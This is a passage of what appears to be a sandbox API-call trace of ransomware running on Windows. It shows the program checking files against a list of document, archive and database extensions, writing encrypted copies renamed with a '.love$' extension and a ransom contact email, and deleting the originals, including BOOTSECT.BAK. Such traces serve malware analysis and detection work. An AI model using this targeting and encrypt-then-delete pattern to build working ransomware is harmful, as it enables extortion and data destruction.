returned 4 [0104.587] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0104.587] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0104.587] lstrlenW (lpString=".zip") returned 4 [0104.587] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0104.587] lstrlenW (lpString=".rar") returned 4 [0104.588] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0104.588] lstrlenW (lpString=".bz2") returned 4 [0104.588] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0104.588] lstrlenW (lpString=".7z") returned 3 [0104.588] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0104.588] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0104.588] lstrlenW (lpString=".dbf") returned 4 [0104.588] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0104.588] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0104.588] lstrlenW (lpString=".1cd") returned 4 [0104.588] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0104.588] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0104.588] lstrlenW (lpString=".jpg") returned 4 [0104.588] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0104.588] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0104.588] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0104.588] lstrlenW (lpString=".doc") returned 4 [0104.588] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0104.588] lstrlenW (lpString=".docx") returned 5 [0104.588] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0104.588] lstrlenW (lpString=".pdf") returned 4 [0104.588] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0104.588] lstrlenW (lpString=".xls") returned 4 [0104.588] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0104.588] lstrlenW (lpString=".xlsx") returned 5 [0104.588] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0104.588] lstrlenW (lpString=".ppt") returned 4 [0104.588] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0104.588] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0104.588] lstrlenW (lpString=".zip") returned 4 [0104.588] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0104.588] lstrlenW (lpString=".rar") returned 4 [0104.588] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0104.588] lstrlenW (lpString=".bz2") returned 4 [0104.588] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0104.588] lstrlenW (lpString=".7z") returned 3 [0104.589] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0104.589] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0104.589] lstrlenW (lpString=".dbf") returned 4 [0104.589] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0104.589] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0104.589] lstrlenW (lpString=".1cd") returned 4 [0104.589] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0104.589] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0104.589] lstrlenW (lpString=".jpg") returned 4 [0104.589] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0104.589] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0104.589] lstrlenW (lpString="UiInfo.xml") returned 10 [0104.589] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0104.589] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=38898) returned 1 [0104.589] CloseHandle (hObject=0x340) returned 1 [0104.589] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml")) returned 0x80 [0104.589] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0104.589] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0104.590] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.590] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.590] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0104.590] GetLastError () returned 0x0 [0104.590] ReadFile (in: hFile=0x340, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x97f2, lpOverlapped=0x0) returned 1 [0104.666] WriteFile (in: hFile=0x338, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x9800, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x9800, lpOverlapped=0x0) returned 1 [0104.668] ReadFile (in: hFile=0x340, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0104.668] WriteFile (in: hFile=0x338, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xe8, lpOverlapped=0x0) returned 1 [0104.668] SetEndOfFile (hFile=0x338) returned 1 [0104.668] CloseHandle (hObject=0x338) returned 1 [0104.670] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.670] SetEndOfFile (hFile=0x340) returned 1 [0104.671] CloseHandle (hObject=0x340) returned 1 [0104.671] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0104.672] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml")) returned 1 [0104.672] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0104.672] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0104.672] lstrlenW (lpString=".doc") returned 4 [0104.672] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0104.672] lstrlenW (lpString=".docx") returned 5 [0104.672] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0104.672] lstrlenW (lpString=".pdf") returned 4 [0104.672] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0104.672] lstrlenW (lpString=".xls") returned 4 [0104.672] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0104.672] lstrlenW (lpString=".xlsx") returned 5 [0104.672] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0104.672] lstrlenW (lpString=".ppt") returned 4 [0104.672] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0104.672] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0104.672] lstrlenW (lpString=".zip") returned 4 [0104.672] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0104.672] lstrlenW (lpString=".rar") returned 4 [0104.672] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0104.672] lstrlenW (lpString=".bz2") returned 4 [0104.672] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0104.672] lstrlenW (lpString=".7z") returned 3 [0104.672] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0104.672] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0104.672] lstrlenW (lpString=".dbf") returned 4 [0104.673] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0104.673] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0104.673] lstrlenW (lpString=".1cd") returned 4 [0104.673] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0104.673] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0104.673] lstrlenW (lpString=".jpg") returned 4 [0104.673] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0104.673] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0104.673] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0104.673] lstrlenW (lpString=".doc") returned 4 [0104.673] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0104.673] lstrlenW (lpString=".docx") returned 5 [0104.673] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0104.673] lstrlenW (lpString=".pdf") returned 4 [0104.673] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0104.673] lstrlenW (lpString=".xls") returned 4 [0104.673] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0104.673] lstrlenW (lpString=".xlsx") returned 5 [0104.673] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0104.673] lstrlenW (lpString=".ppt") returned 4 [0104.673] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0104.673] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0104.673] lstrlenW (lpString=".zip") returned 4 [0104.673] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0104.673] lstrlenW (lpString=".rar") returned 4 [0104.673] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0104.673] lstrlenW (lpString=".bz2") returned 4 [0104.673] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0104.673] lstrlenW (lpString=".7z") returned 3 [0104.673] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0104.673] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0104.673] lstrlenW (lpString=".dbf") returned 4 [0104.673] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0104.673] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0104.673] lstrlenW (lpString=".1cd") returned 4 [0104.673] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0104.674] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32 [0104.674] lstrlenW (lpString=".jpg") returned 4 [0104.674] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0104.674] lstrcmpiW (lpString1=".BAK", lpString2=".love$") returned -1 [0104.674] lstrlenW (lpString="BOOTSECT.BAK") returned 12 [0104.674] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0104.674] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=8192) returned 1 [0104.674] CloseHandle (hObject=0x340) returned 1 [0104.674] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x27 [0104.674] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\bootsect.bak.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0104.674] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK", dwFileAttributes=0x26) returned 1 [0104.675] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0104.675] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.675] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.675] CreateFileW (lpFileName="C:\\BOOTSECT.BAK.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\bootsect.bak.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0104.833] GetLastError () returned 0x0 [0104.833] ReadFile (in: hFile=0x340, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x2000, lpOverlapped=0x0) returned 1 [0104.930] WriteFile (in: hFile=0x368, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x2010, lpOverlapped=0x0) returned 1 [0105.252] ReadFile (in: hFile=0x340, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0105.252] WriteFile (in: hFile=0x368, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0105.252] SetEndOfFile (hFile=0x368) returned 1 [0105.253] CloseHandle (hObject=0x368) returned 1 [0105.254] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.254] SetEndOfFile (hFile=0x340) returned 1 [0105.255] CloseHandle (hObject=0x340) returned 1 [0105.255] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x27) returned 1 [0105.256] DeleteFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 1 [0105.256] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0105.257] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0105.257] lstrlenW (lpString=".doc") returned 4 [0105.257] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0105.257] lstrlenW (lpString=".docx") returned 5 [0105.257] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0105.257] lstrlenW (lpString=".pdf") returned 4 [0105.257] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0105.257] lstrlenW (lpString=".xls") returned 4 [0105.257] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0105.257] lstrlenW (lpString=".xlsx") returned 5 [0105.257] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0105.257] lstrlenW (lpString=".ppt") returned 4 [0105.257] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0105.257] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0105.257] lstrlenW (lpString=".zip") returned 4 [0105.257] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0105.257] lstrlenW (lpString=".rar") returned 4 [0105.257] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0105.257] lstrlenW (lpString=".bz2") returned 4 [0105.257] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0105.257] lstrlenW (lpString=".7z") returned 3 [0105.257] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0105.257] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0105.257] lstrlenW (lpString=".dbf") returned 4 [0105.257] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0105.257] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0105.257] lstrlenW (lpString=".1cd") returned 4 [0105.257] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0105.257] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0105.258] lstrlenW (lpString=".jpg") returned 4 [0105.258] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0105.258] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0105.258] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0105.258] lstrlenW (lpString=".doc") returned 4 [0105.258] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0105.258] lstrlenW (lpString=".docx") returned 5 [0105.258] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0105.258] lstrlenW (lpString=".pdf") returned 4 [0105.258] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0105.258] lstrlenW (lpString=".xls") returned 4 [0105.258] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0105.258] lstrlenW (lpString=".xlsx") returned 5 [0105.258] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0105.258] lstrlenW (lpString=".ppt") returned 4 [0105.258] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0105.258] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0105.258] lstrlenW (lpString=".zip") returned 4 [0105.258] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0105.258] lstrlenW (lpString=".rar") returned 4 [0105.258] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0105.258] lstrlenW (lpString=".bz2") returned 4 [0105.258] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0105.258] lstrlenW (lpString=".7z") returned 3 [0105.258] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0105.258] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0105.258] lstrlenW (lpString=".dbf") returned 4 [0105.258] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0105.259] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0105.259] lstrlenW (lpString=".1cd") returned 4 [0105.259] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0105.259] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0105.259] lstrlenW (lpString=".jpg") returned 4 [0105.259] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0105.259] lstrcmpiW (lpString1=".avi", lpString2=".love$") returned -1 [0105.259] lstrlenW (lpString="boxed-correct.avi") returned 17 [0105.259] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0105.652] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=111320) returned 1 [0105.652] CloseHandle (hObject=0x380) returned 1 [0105.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0105.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0105.653] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0105.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0105.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0105.653] lstrlenW (lpString=".doc") returned 4 [0105.653] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0105.653] lstrlenW (lpString=".docx") returned 5 [0105.653] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0105.653] lstrlenW (lpString=".pdf") returned 4 [0105.653] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0105.653] lstrlenW (lpString=".xls") returned 4 [0105.653] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0105.653] lstrlenW (lpString=".xlsx") returned 5 [0105.653] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0105.653] lstrlenW (lpString=".ppt") returned 4 [0105.653] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0105.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0105.653] lstrlenW (lpString=".zip") returned 4 [0105.653] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0105.653] lstrlenW (lpString=".rar") returned 4 [0105.653] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0105.654] lstrlenW (lpString=".bz2") returned 4 [0105.654] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0105.654] lstrlenW (lpString=".7z") returned 3 [0105.654] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0105.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0105.654] lstrlenW (lpString=".dbf") returned 4 [0105.654] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0105.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0105.654] lstrlenW (lpString=".1cd") returned 4 [0105.654] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0105.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0105.654] lstrlenW (lpString=".jpg") returned 4 [0105.654] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0105.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0105.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0105.654] lstrlenW (lpString=".doc") returned 4 [0105.654] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0105.654] lstrlenW (lpString=".docx") returned 5 [0105.654] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0105.654] lstrlenW (lpString=".pdf") returned 4 [0105.654] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0105.654] lstrlenW (lpString=".xls") returned 4 [0105.654] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0105.654] lstrlenW (lpString=".xlsx") returned 5 [0105.654] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0105.654] lstrlenW (lpString=".ppt") returned 4 [0105.654] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0105.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0105.655] lstrlenW (lpString=".zip") returned 4 [0105.655] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0105.655] lstrlenW (lpString=".rar") returned 4 [0105.655] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0105.655] lstrlenW (lpString=".bz2") returned 4 [0105.655] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0105.655] lstrlenW (lpString=".7z") returned 3 [0105.655] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0105.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0105.655] lstrlenW (lpString=".dbf") returned 4 [0105.655] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0105.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0105.655] lstrlenW (lpString=".1cd") returned 4 [0105.655] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0105.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0105.655] lstrlenW (lpString=".jpg") returned 4 [0105.655] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0105.655] lstrcmpiW (lpString1=".avi", lpString2=".love$") returned -1 [0105.655] lstrlenW (lpString="boxed-join.avi") returned 14 [0105.655] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0105.874] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=46622) returned 1 [0105.874] CloseHandle (hObject=0x2b8) returned 1 [0105.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0105.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0105.875] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0105.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0105.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0105.875] lstrlenW (lpString=".doc") returned 4 [0105.875] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0105.875] lstrlenW (lpString=".docx") returned 5 [0105.875] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0105.875] lstrlenW (lpString=".pdf") returned 4 [0105.875] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0105.875] lstrlenW (lpString=".xls") returned 4 [0105.875] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0105.875] lstrlenW (lpString=".xlsx") returned 